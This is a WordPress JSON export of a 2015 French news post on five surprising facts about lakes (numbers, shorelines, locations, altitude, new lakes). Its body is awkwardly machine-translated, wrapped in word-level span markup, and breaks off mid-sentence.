{"id":10667,"date":"2015-08-05T23:49:43","date_gmt":"2015-08-05T21:49:43","guid":{"rendered":"http:\/\/www.lapressedefrance.fr\/news\/?p=10667"},"modified":"2021-08-04T10:12:36","modified_gmt":"2021-08-04T08:12:36","slug":"5-faits-surprenants-sur-les-lacs","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/5-faits-surprenants-sur-les-lacs\/","title":{"rendered":"5 faits surprenants sur les lacs"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"5 faits surprenants sur les lacs\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p style=\"text-align: justify;\"><span style=\"color: #000000;\">Sal\u00e9s ou doux, les lacs sont consid\u00e9r\u00e9s parmi les sources d&#8217;eau librement disponibles sur notre plan\u00e8te. A l&#8217;exception<span id=\"ouHighlight__83_92TO100_109\">\u00a0d<\/span><span id=\"noHighlight_0.9485670665744692\">es <\/span><span id=\"ouHighlight__94_99TO115_122\">rivi\u00e8res<\/span><span id=\"noHighlight_0.6410590305458754\"> <\/span><span id=\"ouHighlight__101_103TO124_125\">et<\/span><span id=\"noHighlight_0.432961082784459\">\u00a0des <\/span><span id=\"ouHighlight__105_111TO131_139\">ruisseaux<\/span><span id=\"noHighlight_0.3168163765221834\">,<\/span><span id=\"noHighlight_0.07682798220776021\"> <\/span><span id=\"ouHighlight__114_116TO142_143\">le<\/span><span id=\"noHighlight_0.020939486799761653\"> <\/span><span id=\"ouHighlight__118_121TO145_149\">reste de sources<\/span><span id=\"noHighlight_0.7305779724847525\">\u00a0<\/span><span id=\"ouHighlight__138_147TO160_170\">d&#8217;eau douce<\/span><span id=\"noHighlight_0.4094910209532827\"> <\/span><span id=\"ouHighlight__149_150TO172_174\">est<\/span><span id=\"noHighlight_0.21308745257556438\"> <\/span><span id=\"ouHighlight__152_160TO176_182\">enferm\u00e9<\/span><span id=\"noHighlight_0.8320183302275836\"> <\/span><span id=\"ouHighlight__162_163TO184_187\">dans<\/span><span id=\"noHighlight_0.306937831453979\"> la <\/span><span id=\"ouHighlight__165_167TO192_196\">glace<\/span><span id=\"noHighlight_0.18658443144522607\"> <\/span><span id=\"ouHighlight__169_170TO198_199\">ou<\/span><span id=\"noHighlight_0.9273746244143695\"> <\/span><span id=\"ouHighlight__172_178TO201_213\">pris au pi\u00e8ge<\/span><span id=\"noHighlight_0.49932412058115005\"> <\/span><span id=\"ouHighlight__180_190TO215_224\">sous-terrain<\/span><span id=\"noHighlight_0.8749133804813027\">.<\/span><span id=\"noHighlight_0.7366728950291872\"> <\/span><span id=\"ouHighlight__197_200TO227_243\">Une grande partie<\/span><span id=\"noHighlight_0.28933931700885296\"> <\/span><span id=\"ouHighlight__202_208TO245_249\">reste<\/span><span id=\"noHighlight_0.951640181010589\"> <\/span><span id=\"ouHighlight__193_195TO251_256\">encore<\/span><span id=\"noHighlight_0.961976045044139\"> <\/span><span id=\"ouHighlight__210_219TO258_268\">myst\u00e9rieuse<\/span><span id=\"noHighlight_0.6728167950641364\"> <\/span><span id=\"ouHighlight__221_225TO270_272\">parmi ces<\/span><span id=\"noHighlight_0.2776905526407063\">\u00a0<\/span><span id=\"ouHighlight__251_259TO278_287\">ressources<\/span><span id=\"noHighlight_0.8225531119387597\"> <\/span><span id=\"ouHighlight__243_249TO289_298\">naturelles<\/span><span id=\"noHighlight_0.47770502185449004\"> <\/span><span id=\"ouHighlight__233_241TO300_310\">importantes<\/span><span id=\"noHighlight_0.006757538532838225\">.<\/span><span id=\"noHighlight_0.7326880886685103\"> <\/span><span id=\"ouHighlight__262_269TO313_317\">Voici<\/span><span id=\"noHighlight_0.24522498436272144\"> <\/span><span id=\"ouHighlight__271_274TO319_326\">quelques\u00a0<\/span><span id=\"noHighlight_0.5902791186235845\"><\/span><span id=\"ouHighlight__295_299TO328_332\">faits<\/span><span id=\"noHighlight_0.6535233280155808\"> <\/span><span id=\"ouHighlight__276_278TO334_341\">nouveaux<\/span><span id=\"noHighlight_0.10413161292672157\"> <\/span><span id=\"ouHighlight__280_282TO343_344\">et<\/span><span id=\"noHighlight_0.571166341425851\"> <\/span><span id=\"ouHighlight__284_293TO346_356\">surprenants<\/span><span id=\"noHighlight_0.8944022031500936\"> <\/span><span id=\"ouHighlight__306_306TO358_361\">d&#8217;un<\/span><span id=\"noHighlight_0.07952549029141665\"> <\/span><span id=\"ouHighlight__315_319TO363_370\">d\u00e9compte<\/span><span id=\"noHighlight_0.8753772280178964\"> <\/span><span id=\"ouHighlight__308_313TO372_377\">r\u00e9cent\u00a0<\/span><span id=\"noHighlight_0.8746586309280246\"><\/span><span id=\"ouHighlight__321_322TO379_381\">des<\/span><span id=\"noHighlight_0.1631513766478747\"> <\/span><span id=\"ouHighlight__332_336TO383_386\">lacs<\/span><span id=\"noHighlight_0.7805533886421472\"> <\/span><span id=\"ouHighlight__324_330TO388_389\">de<\/span><span id=\"noHighlight_0.3270553208421916\">\u00a0notre plan\u00e8te<\/span><span id=\"noHighlight_0.7752551478333771\">,<\/span><span id=\"noHighlight_0.9068965907208622\"> <\/span><span id=\"ouHighlight__339_347TO401_407\">publi\u00e9e<\/span><span id=\"noHighlight_0.6044486840255558\">\u00a0<\/span><span id=\"ouHighlight__358_359TO425_428\">dans<\/span><span id=\"noHighlight_0.30288447230122983\"> <\/span><span id=\"ouHighlight__361_363TO430_431\">la\u00a0<\/span><span id=\"noHighlight_0.9431287089828402\"><\/span><span id=\"ouHighlight__365_371TO433_437\">revue<\/span><span id=\"noHighlight_0.4510003214236349\"> <\/span><span id=\"ouHighlight__373_383TO439_449\">Geophysical<\/span><span id=\"noHighlight_0.5869816199410707\"> <\/span><span id=\"ouHighlight__385_392TO451_458\">Research<\/span><span id=\"noHighlight_0.2850894352886826\"> <\/span><span id=\"ouHighlight__394_400TO460_466\">Letters<\/span><span id=\"noHighlight_0.15309956180863082\">.<\/span><\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/lac-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-10668\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/lac-1.jpg\" alt=\"lac 1\" width=\"235\" height=\"156\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/lac-1.jpg 235w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/lac-1-200x133.jpg 200w\" sizes=\"(max-width: 235px) 100vw, 235px\" \/><\/a><\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><span id=\"ouHighlight__0_4TO0_1\" class=\"\">Il<\/span><span id=\"noHighlight_0.2727092180866748\"> <\/span><span id=\"ouHighlight__6_8TO3_3\">y<\/span><span id=\"noHighlight_0.8888157517649233\"> a 117 <\/span><span id=\"ouHighlight__10_20TO11_18\">millions<\/span><span id=\"noHighlight_0.30497488938272\"> de <\/span><span id=\"ouHighlight__22_26TO23_26\">lacs<\/span><span id=\"noHighlight_0.7122398202773184\"> <\/span><span id=\"ouHighlight__28_29TO28_30\">sur\u00a0<\/span><span id=\"ouHighlight__31_35TO35_39\">terre<\/span><span id=\"noHighlight_0.1021881636697799\">,<\/span><span id=\"noHighlight_0.6364819831214845\"> <\/span><span id=\"ouHighlight__38_45TO42_49\">couvrant<\/span><span id=\"noHighlight_0.6653155179228634\">\u00a0\u00a0<\/span><span id=\"ouHighlight__47_49TO54_56\">3,7 %<\/span><span id=\"noHighlight_0.2472714208997786\">\u00a0<\/span><span id=\"ouHighlight__59_60TO68_69\">de<\/span><span id=\"noHighlight_0.46925100474618375\"> <\/span><span id=\"ouHighlight__62_64TO71_72\">la<\/span><span id=\"noHighlight_0.43424366577528417\"> <\/span><span id=\"ouHighlight__83_89TO74_80\" class=\"\">surface<\/span><span id=\"noHighlight_0.37928253621794283\"> <\/span><span id=\"ouHighlight__78_81TO82_90\" class=\"\">terrestre<\/span><span id=\"noHighlight_0.40194286755286157\"> <\/span><span id=\"ouHighlight__66_76TO92_103\">continentale<\/span><span id=\"noHighlight_0.9340244384948164\">.<\/span><span id=\"noHighlight_0.5091348444111645\"> <\/span><span id=\"ouHighlight__92_96TO106_110\">(Cela\u00a0<\/span><span id=\"noHighlight_0.7763164429925382\"><\/span><span id=\"ouHighlight__106_112TO112_119\" class=\"\">n&#8217;inclut<\/span><span id=\"noHighlight_0.9399957396090031\"> pas <\/span><span id=\"ouHighlight__114_123TO125_137\" class=\"\">l&#8217;Antarctique<\/span><span id=\"noHighlight_0.18246862012892962\">,<\/span><span id=\"ouHighlight__126_134TO140_151\" class=\"\">\u00a0Green-land<\/span><span id=\"noHighlight_0.9747707911301404\">\u00a0et<\/span><span id=\"noHighlight_0.9844084675423801\">\u00a0<\/span><span id=\"ouHighlight__139_141TO156_157\">la<\/span><span id=\"noHighlight_0.09964753570966423\"> <\/span><span id=\"ouHighlight__151_155TO159_161\">mer\u00a0<\/span><span id=\"noHighlight_0.7781050275079906\"><\/span><span id=\"ouHighlight__143_149TO163_171\" class=\"\">Caspienne<\/span><span id=\"ouHighlight__151_155TO172_173\">).<\/span><span id=\"noHighlight_0.015910663409158587\"> <\/span><span id=\"ouHighlight__157_161TO175_181\" class=\"\">Environ<\/span><span id=\"noHighlight_0.8849169930908829\"> 90 <\/span><span id=\"ouHighlight__163_172TO186_193\">millions<\/span><span id=\"noHighlight_0.8046276178210974\"> <\/span><span id=\"ouHighlight__174_175TO195_196\" class=\"\">de<\/span><span id=\"noHighlight_0.6586143947206438\"> <\/span><span id=\"ouHighlight__177_181TO198_200\">ces<\/span><span id=\"noHighlight_0.7767254596110433\"> <\/span><span id=\"ouHighlight__183_187TO202_205\">lacs<\/span><span id=\"noHighlight_0.40924599883146584\">\u00a0ont une taille\u00a0inf\u00e9rieure \u00e0\u00a0<\/span><span id=\"ouHighlight__203_205TO221_224\">deux<\/span><span id=\"noHighlight_0.2880318302195519\"> <\/span><span id=\"ouHighlight__216_221TO226_233\">terrains<\/span><span id=\"noHighlight_0.16093985992483795\"> de <\/span><span id=\"ouHighlight__207_214TO238_245\" class=\"\">football<\/span><span id=\"noHighlight_0.10270763980224729\">,<\/span><span id=\"noHighlight_0.07988344016484916\"> <\/span><span id=\"ouHighlight__232_233TO263_264\">ou<\/span><span id=\"noHighlight_0.2603536017704755\">\u00a0une superficie comprise entre\u00a0\u00a0<\/span><span id=\"ouHighlight__235_237TO269_271\">0,5<\/span><span id=\"noHighlight_0.050605488708242774\">\u00a0et<\/span><span id=\"ouHighlight__239_240TO273_273\">\u00a0<\/span><span id=\"noHighlight_0.35618249303661287\"><\/span><span id=\"ouHighlight__242_244TO275_277\">2,5<\/span><span id=\"noHighlight_0.7708156537264585\"> <\/span><span id=\"ouHighlight__246_250TO279_283\">acres<\/span><span id=\"noHighlight_0.8561596579384059\"> <\/span><span id=\"ouHighlight__252_255TO285_288\">(0,2<\/span><span id=\"noHighlight_0.6938341830391437\"> <\/span><span id=\"ouHighlight__257_258TO290_290\">\u00e0<\/span><span id=\"noHighlight_0.033664812333881855\"> <\/span><span id=\"ouHighlight__260_260TO292_292\">1<\/span><span id=\"noHighlight_0.09671502420678735\"> <\/span><span id=\"ouHighlight__262_271TO294_297\">ha).<\/span><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><span id=\"ouHighlight__18_20TO17_19\" class=\"\">les<\/span><span id=\"noHighlight_0.03533786395564675\"> <\/span><span id=\"ouHighlight__22_31TO21_25\" class=\"\">rives<\/span><span id=\"noHighlight_0.9679491058923304\"> <\/span><span id=\"ouHighlight__33_34TO27_29\" class=\"\">des<\/span><span id=\"noHighlight_0.9910729576367885\"> <\/span><span id=\"ouHighlight__52_56TO31_34\" class=\"\">lacs<\/span><span id=\"noHighlight_0.0483341000508517\"> <\/span><span id=\"ouHighlight__44_50TO36_43\" class=\"\">du monde<\/span><span id=\"noHighlight_0.5649368825834244\"> <\/span><span id=\"ouHighlight__66_72TO45_52\">mesurent\u00a0<\/span><span id=\"noHighlight_0.6317353919148445\"><\/span><span id=\"ouHighlight__58_64TO54_60\">environ<\/span><span id=\"noHighlight_0.23155997530557215\"> <\/span><span id=\"ouHighlight__74_76TO62_64\">250<\/span><span id=\"noHighlight_0.05859864829108119\"> <\/span><span id=\"ouHighlight__78_82TO66_69\" class=\"\">fois<\/span><span id=\"noHighlight_0.5090312464162707\"> <\/span><span id=\"ouHighlight__84_86TO71_72\">la<\/span><span id=\"noHighlight_0.6096567751374096\"> <\/span><span id=\"ouHighlight__88_93TO74_81\">longueur<\/span><span id=\"noHighlight_0.1233734569977969\"> <\/span><span id=\"ouHighlight__95_96TO83_84\">de<\/span><span id=\"noHighlight_0.48032001918181777\"> <\/span><span id=\"ouHighlight__102_108TO86_95\" class=\"\">l&#8217;\u00c9quateur<\/span><span id=\"noHighlight_0.13434057403355837\">.<\/span><span id=\"noHighlight_0.2531203899998218\">\u00a0Sachant que l<\/span><span id=\"ouHighlight__115_121TO98_107\" class=\"\">&#8216;\u00c9quateur\u00a0<\/span><span id=\"noHighlight_0.6606166220735759\"><\/span><span id=\"ouHighlight__123_124TO109_111\">est<\/span><span id=\"noHighlight_0.9403063582722098\">\u00a0d&#8217;une longueur\u00a0<\/span><span id=\"noHighlight_0.6529692988842726\">de 7 <\/span><span id=\"ouHighlight__126_130TO123_125\" class=\"\">926<\/span><span id=\"noHighlight_0.021142495330423117\"> <\/span><span id=\"ouHighlight__132_136TO127_132\">milles<\/span><span id=\"noHighlight_0.21526133874431252\"> <\/span><span id=\"ouHighlight__138_144TO134_134\">(<\/span><span id=\"noHighlight_0.06676491512916982\">12 <\/span><span id=\"ouHighlight__138_144TO138_140\">756<\/span><span id=\"noHighlight_0.6915774499066174\"> <\/span><span id=\"ouHighlight__146_156TO142_152\" class=\"highlight\">kilom\u00e8tres)<\/span><span id=\"noHighlight_0.09932685294188559\">.<\/span><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><span id=\"noHighlight_0.7288616672158241\">La <\/span><span id=\"ouHighlight__0_3TO3_9\" class=\"\">plupart<\/span><span id=\"noHighlight_0.4295911844819784\"> <\/span><span id=\"ouHighlight__5_6TO11_13\">des<\/span><span id=\"noHighlight_0.5403306356165558\"> <\/span><span id=\"ouHighlight__20_24TO15_18\">lacs<\/span><span id=\"noHighlight_0.24969248636625707\"> <\/span><span id=\"ouHighlight__12_18TO20_27\">du monde<\/span><span id=\"noHighlight_0.8712297256570309\">\u00a0se situent\u00a0<\/span><span id=\"ouHighlight__30_31TO33_34\">au<\/span><span id=\"noHighlight_0.4980870552826673\"> <\/span><span id=\"ouHighlight__33_38TO36_41\">Canada<\/span><span id=\"noHighlight_0.3601227216422558\">,<\/span><span id=\"noHighlight_0.1489660523366183\"> la <\/span><span id=\"ouHighlight__41_46TO47_52\">Russie<\/span><span id=\"noHighlight_0.7811554814688861\">,<\/span><span id=\"noHighlight_0.052670701406896114\"><\/span><span id=\"ouHighlight__49_54TO55_60\" class=\"\">Alaska<\/span><span id=\"noHighlight_0.6401069432031363\">,<\/span><span id=\"noHighlight_0.12929168995469809\"> <\/span><span id=\"ouHighlight__57_62TO63_67\" class=\"\">Su\u00e8de<\/span><span id=\"noHighlight_0.23368984507396817\"> <\/span><span id=\"ouHighlight__64_66TO69_70\">et<\/span><span id=\"noHighlight_0.4366078015882522\"> <\/span><span id=\"ouHighlight__68_74TO72_79\">Finlande<\/span><span id=\"noHighlight_0.9574493486434221\">.<\/span><span id=\"noHighlight_0.8216835353523493\">\u00a0Ce qui f<\/span><span id=\"ouHighlight__77_82TO82_89\">ait que<\/span><span id=\"noHighlight_0.9830963755957782\">\u00a0les <\/span><span id=\"ouHighlight__93_101TO95_98\">pays<\/span><span id=\"noHighlight_0.3975644404999912\"> <\/span><span id=\"ouHighlight__84_91TO100_108\">tropicaux\u00a0<\/span><span id=\"noHighlight_0.14186436822637916\"><\/span><span id=\"ouHighlight__103_105TO110_119\">affleurent<\/span><span id=\"noHighlight_0.862522225594148\"> <\/span><span id=\"ouHighlight__107_110TO121_129\" class=\"\">\u00e9galement<\/span><span id=\"noHighlight_0.2441635737195611\"> <\/span><span id=\"ouHighlight__118_121TO131_134\">avec<\/span><span id=\"noHighlight_0.3678788954857737\"> les <\/span><span id=\"ouHighlight__123_127TO140_143\">lacs<\/span><span id=\"noHighlight_0.8380208238959312\">,<\/span><span id=\"noHighlight_0.4700944619253278\"> <\/span><span id=\"ouHighlight__130_132TO146_148\">les<\/span><span id=\"noHighlight_0.00325270788744092\"> <\/span><span id=\"ouHighlight__143_151TO150_153\">pays<\/span><span id=\"noHighlight_0.7290493950713426\"> <\/span><span id=\"ouHighlight__134_141TO155_161\">du Nord leader de la liste qui<\/span><span id=\"noHighlight_0.4112257321830839\">\u00a0<\/span><span id=\"ouHighlight__167_171TO177_181\">comte<\/span><span id=\"noHighlight_0.5916348462924361\">\u00a0le plus de <\/span><span id=\"ouHighlight__162_165TO186_188\">lacs<\/span><span id=\"noHighlight_0.18452202808111906\">,<\/span><span id=\"noHighlight_0.865046790568158\"> parce <\/span><span id=\"ouHighlight__182_186TO197_201\">que simplement, il<\/span><span id=\"noHighlight_0.6500371990259737\"> <\/span><span id=\"ouHighlight__188_189TO203_205\">y<\/span><span id=\"noHighlight_0.1781740253791213\"> a<\/span><span id=\"noHighlight_0.4328701782505959\">\u00a0<\/span><span id=\"ouHighlight__198_201TO220_224\">moins<\/span><span id=\"noHighlight_0.5387656595557928\"> de <\/span><span id=\"ouHighlight__203_206TO229_234\">terres<\/span><span id=\"noHighlight_0.9136380762793124\"> <\/span><span id=\"ouHighlight__208_214TO236_242\" class=\"\">plus au<\/span><span id=\"noHighlight_0.9918419599998742\"> <\/span><span id=\"ouHighlight__216_220TO244_246\">sud<\/span><span id=\"noHighlight_0.06431059795431793\">.<\/span><span id=\"noHighlight_0.6115664530079812\">\u00a0<\/span><span id=\"ouHighlight__223_227TO249_259\">Grace notamment, \u00e0<\/span><span id=\"noHighlight_0.3905267515219748\">\u00a0<\/span><span id=\"ouHighlight__229_231TO261_262\">la<\/span><span id=\"noHighlight_0.7124283411540091\">\u00a0<\/span><span id=\"ouHighlight__233_240TO274_283\" class=\"\">tectonique<\/span><span id=\"noHighlight_0.9474644088186324\"> <\/span><span id=\"ouHighlight__252_253TO285_287\">des<\/span><span id=\"noHighlight_0.9717240771278739\"> <\/span><span id=\"ouHighlight__255_264TO289_298\">continents<\/span><span id=\"noHighlight_0.19565159548074007\">,<\/span><span id=\"noHighlight_0.8042629056144506\"> <\/span><span id=\"ouHighlight__267_271TO301_303\">qui<\/span><span id=\"noHighlight_0.8662061374634504\">\u00a0a\u00a0<\/span><span id=\"ouHighlight__273_281TO309_316\">dispers\u00e9\u00a0<\/span><span id=\"noHighlight_0.7293482609093189\">la <\/span><span id=\"ouHighlight__283_286TO321_327\" class=\"\">plupart<\/span><span id=\"noHighlight_0.23129253345541656\"> <\/span><span id=\"ouHighlight__288_289TO329_330\">de<\/span><span id=\"noHighlight_0.13336475077085197\"> la <\/span><span id=\"ouHighlight__303_310TO335_352\" class=\"\">masse continentale<\/span><span id=\"noHighlight_0.5771932483185083\"> <\/span><span id=\"ouHighlight__295_301TO354_361\">du monde<\/span><span id=\"noHighlight_0.5732540399767458\"> <\/span><span id=\"ouHighlight__312_313TO363_366\">dans\u00a0<\/span><span id=\"noHighlight_0.7154344727750868\"><\/span><span id=\"ouHighlight__328_337TO368_379\">l&#8217;h\u00e9misph\u00e8re<\/span><span id=\"noHighlight_0.24493109877221286\"> <\/span><span id=\"ouHighlight__319_326TO381_384\">Nord<\/span><span id=\"noHighlight_0.08321474306285381\">.<\/span><\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/lac-2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-10669\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/lac-2.jpg\" alt=\"lac 2\" width=\"235\" height=\"156\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/lac-2.jpg 235w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/lac-2-200x133.jpg 200w\" sizes=\"(max-width: 235px) 100vw, 235px\" \/><\/a><\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><span id=\"noHighlight_0.240619748365134\">La majorit\u00e9\u00a0<\/span><span id=\"ouHighlight__5_9TO11_18\" class=\"\">des lacs<\/span><span id=\"noHighlight_0.3158854900393635\"> <\/span><span id=\"ouHighlight__11_13TO20_30\" class=\"\">se trouvent<\/span><span id=\"noHighlight_0.2418321487493813\">\u00a0b<\/span><span id=\"ouHighlight__15_17TO32_38\" class=\"\">as,\u00a0<\/span><span id=\"ouHighlight__21_22TO42_43\">85<\/span><span id=\"noHighlight_0.2449617686215788\"> <\/span><span id=\"ouHighlight__24_30TO45_45\">%<\/span><span id=\"noHighlight_0.47501448122784495\"> <\/span><span id=\"ouHighlight__32_34TO47_50\">sont<\/span><span id=\"noHighlight_0.4274442112073302\"> <\/span><span id=\"ouHighlight__36_37TO52_52\">\u00e0\u00a0<\/span><span id=\"noHighlight_0.6791436981875449\">une <\/span><span id=\"ouHighlight__39_48TO58_65\" class=\"\">altitude<\/span><span id=\"noHighlight_0.97903922945261\"> <\/span><span id=\"ouHighlight__50_53TO67_76\" class=\"\">inf\u00e9rieure<\/span><span id=\"noHighlight_0.17749439575709403\"> <\/span><span id=\"ouHighlight__55_58TO78_78\">\u00e0<\/span><span id=\"noHighlight_0.4182796599343419\"> 1 <\/span><span id=\"ouHighlight__60_64TO82_84\">600<\/span><span id=\"noHighlight_0.5277231163345277\"> <\/span><span id=\"ouHighlight__66_69TO86_90\" class=\"\">pieds<\/span><span id=\"noHighlight_0.7256639548577368\"> <\/span><span id=\"ouHighlight__71_74TO92_95\">(500<\/span><span id=\"noHighlight_0.8352198887150735\"> <\/span><span id=\"ouHighlight__76_82TO97_103\">m\u00e8tres)<\/span><span id=\"noHighlight_0.9471918796189129\"> <\/span><span id=\"ouHighlight__84_88TO105_113\">au-dessus<\/span><span id=\"noHighlight_0.053408964769914746\"> du\u00a0<\/span><span id=\"ouHighlight__94_98TO118_123\">niveau<\/span><span id=\"noHighlight_0.16648022178560495\"> de la <\/span><span id=\"ouHighlight__90_92TO131_133\">mer<\/span><span id=\"noHighlight_0.5298979030922055\">.<\/span><span id=\"noHighlight_0.9979758483823389\"> <\/span><span id=\"ouHighlight__101_103TO136_138\">Les<\/span><span id=\"noHighlight_0.5553574047517031\"> <\/span><span id=\"ouHighlight__105_111TO140_146\" class=\"\">raisons<\/span><span id=\"noHighlight_0.12017340678721666\"> <\/span><span id=\"ouHighlight__113_115TO148_151\">sont<\/span><span id=\"noHighlight_0.6910342401824892\"> de <\/span><span id=\"ouHighlight__117_125TO156_167\">deux ordres.<\/span><span id=\"noHighlight_0.20985194924287498\">\u00a0Le p<\/span><span id=\"ouHighlight__127_131TO169_175\">remier<\/span><span id=\"noHighlight_0.5848931656219065\">\u00a0s&#8217;explique par le terrain <\/span><span id=\"ouHighlight__134_144TO185_194\" class=\"\">montagneux<\/span><span id=\"noHighlight_0.5278587548527867\"> et <\/span><span id=\"ouHighlight__146_152TO199_207\">accident\u00e9<\/span><span id=\"noHighlight_0.24754745699465275\">\u00a0qui\u00a0<\/span><span id=\"ouHighlight__154_162TO209_214\">limite\u00a0<\/span><span id=\"noHighlight_0.3515516465995461\">la <\/span><span id=\"ouHighlight__169_172TO219_224\">taille<\/span><span id=\"noHighlight_0.46486708987504244\"> des <\/span><span id=\"ouHighlight__164_167TO230_233\">lacs<\/span><span id=\"noHighlight_0.5046389934141189\">.<\/span><span id=\"noHighlight_0.7631427589803934\"> En <\/span><span id=\"ouHighlight__175_180TO239_249\" class=\"\">second lieu<\/span><span id=\"noHighlight_0.5136797546874732\">,<\/span><span id=\"noHighlight_0.71385334036313\"> <\/span><span id=\"ouHighlight__183_185TO252_254\">les<\/span><span id=\"noHighlight_0.891593059990555\"> <\/span><span id=\"ouHighlight__187_195TO256_259\">pays<\/span><span id=\"noHighlight_0.4974391027353704\"> <\/span><span id=\"ouHighlight__197_200TO261_264\">avec<\/span><span id=\"noHighlight_0.025808313628658652\"> <\/span><span id=\"ouHighlight__202_204TO266_268\">les\u00a0<\/span><span id=\"noHighlight_0.3579599801450968\"><\/span><span id=\"ouHighlight__206_209TO270_276\" class=\"\">plupart<\/span><span id=\"noHighlight_0.9525690146256238\"> des <\/span><span id=\"ouHighlight__211_215TO282_285\">lacs<\/span><span id=\"noHighlight_0.7629329084884375\"> <\/span><span id=\"ouHighlight__217_220TO287_293\">ont \u00e9t\u00e9<\/span><span id=\"noHighlight_0.785293114837259\"> <\/span><span id=\"ouHighlight__222_228TO295_302\">gratt\u00e9s<\/span><span id=\"noHighlight_0.7780075441114604\"> <\/span><span id=\"ouHighlight__230_233TO304_307\" class=\"\">plat<\/span><span id=\"noHighlight_0.5538356793113053\"> <\/span><span id=\"ouHighlight__235_236TO309_311\" class=\"\">par<\/span><span id=\"noHighlight_0.8231779746711254\"> les <\/span><span id=\"ouHighlight__238_245TO317_324\" class=\"\">glaciers<\/span><span id=\"noHighlight_0.8334233444184065\"> <\/span><span id=\"ouHighlight__247_252TO326_333\" class=\"\">au cours<\/span><span id=\"noHighlight_0.7854513260535896\"> de <\/span><span id=\"ouHighlight__254_256TO338_339\">la<\/span><span id=\"noHighlight_0.823677169624716\"> <\/span><span id=\"ouHighlight__258_261TO341_348\">derni\u00e8re<\/span><span id=\"noHighlight_0.9759681627620012\"> <\/span><span id=\"ouHighlight__267_269TO350_356\">p\u00e9riode<\/span><span id=\"noHighlight_0.9189574820920825\"> <\/span><span id=\"ouHighlight__263_265TO358_366\" class=\"\">glaciaire<\/span><span id=\"noHighlight_0.8524859664030373\">.<\/span><\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><span id=\"ouHighlight__0_4TO0_3\" class=\"\" style=\"color: #000000;\">Les lacs<\/span><span id=\"noHighlight_0.9212158650625497\" style=\"color: #000000;\">\u00a0disparaissent et surgissent<\/span><span id=\"noHighlight_0.3121341171208769\" style=\"color: #000000;\">.<\/span><span id=\"noHighlight_0.7733805594034493\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__19_19TO23_24\" style=\"color: #000000;\">Un<\/span><span id=\"noHighlight_0.0635271139908582\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__21_23TO26_32\" style=\"color: #000000;\">nouveau<\/span><span id=\"noHighlight_0.5205432560760528\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__25_28TO34_36\" style=\"color: #000000;\">lac<\/span><span id=\"noHighlight_0.32357614440843463\" style=\"color: #000000;\">\u00a0est\u00a0<\/span><span id=\"ouHighlight__30_37TO38_49\" style=\"color: #000000;\">soudainement\u00a0<\/span><span id=\"noHighlight_0.9772813124582171\"><\/span><span id=\"ouHighlight__39_46TO51_56\" style=\"color: #000000;\">apparu\u00a0<\/span><span id=\"ouHighlight__48_51TO58_61\" style=\"color: #000000;\">pr\u00e8s\u00a0<\/span><span id=\"noHighlight_0.44797370256856084\" style=\"color: #000000;\">de\u00a0<\/span><span id=\"ouHighlight__53_57TO66_70\" style=\"color: #000000;\">Gafsa<\/span><span id=\"noHighlight_0.9759818008169532\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__58_58TO72_72\" style=\"color: #000000;\">(<\/span><span id=\"ouHighlight__60_66TO73_79\" class=\"\" style=\"color: #000000;\">Tunisie<\/span><span id=\"ouHighlight__67_67TO80_80\" class=\"\" style=\"color: #000000;\">)<\/span><span id=\"noHighlight_0.8155826497823\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__69_70TO82_83\" style=\"color: #000000;\">en<\/span><span id=\"noHighlight_0.2169282289687544\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__72_77TO85_88\" class=\"\" style=\"color: #000000;\">ao\u00fbt<\/span><span id=\"noHighlight_0.2729714931920171\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__79_82TO90_93\" style=\"color: #000000;\">2014<\/span><span id=\"noHighlight_0.6092204265296459\" style=\"color: #000000;\">,<\/span><span id=\"noHighlight_0.08007196080870926\" style=\"color: #000000;\"> <\/span><span id=\"ouHighlight__85_90TO96_99\" style=\"color: #000000;\">soit<\/span><span id=\"noHighlight_0.7010938364546746\" style=\"color: #000000;\"> \u00e0 p<\/span><span 